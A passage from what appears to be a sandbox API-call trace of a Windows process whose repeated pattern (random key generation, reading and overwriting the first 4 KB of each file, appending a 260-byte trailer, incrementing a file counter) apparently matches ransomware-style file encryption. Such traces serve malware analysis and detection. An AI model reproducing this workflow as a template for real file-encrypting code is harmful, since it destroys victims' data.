(HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.541] GetProcessHeap () returned 0x540000 [0087.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.541] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.542] WriteFile (in: hFile=0x988, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.542] WriteFile (in: hFile=0x988, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.542] GetProcessHeap () returned 0x540000 [0087.542] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.542] GetProcessHeap () returned 0x540000 [0087.542] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.542] GetProcessHeap () returned 0x540000 [0087.542] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.542] CloseHandle (hObject=0x988) returned 1 [0087.543] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 132 [0087.543] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.543] ReadFile (in: hFile=0x98c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.544] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.544] GetProcessHeap () returned 0x540000 [0087.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.544] GetProcessHeap () returned 0x540000 [0087.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.544] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.544] GetProcessHeap () returned 0x540000 [0087.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.544] ReadFile (in: hFile=0x98c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.591] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.591] WriteFile (in: hFile=0x98c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.591] GetProcessHeap () returned 0x540000 [0087.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.591] GetProcessHeap () returned 0x540000 [0087.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.591] GetProcessHeap () returned 0x540000 [0087.591] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.591] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.592] GetProcessHeap () returned 0x540000 [0087.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.593] GetProcessHeap () returned 0x540000 [0087.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.593] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.594] GetProcessHeap () returned 0x540000 [0087.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.595] GetProcessHeap () returned 0x540000 [0087.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.596] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.596] WriteFile (in: hFile=0x98c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.596] WriteFile (in: hFile=0x98c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.596] CloseHandle (hObject=0x98c) returned 1 [0087.596] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 133 [0087.596] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.596] ReadFile (in: hFile=0x990, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.596] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.596] GetProcessHeap () returned 0x540000 [0087.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.596] GetProcessHeap () returned 0x540000 [0087.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.597] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.597] GetProcessHeap () returned 0x540000 [0087.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.597] ReadFile (in: hFile=0x990, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.644] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.644] WriteFile (in: hFile=0x990, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.645] GetProcessHeap () returned 0x540000 [0087.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.645] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 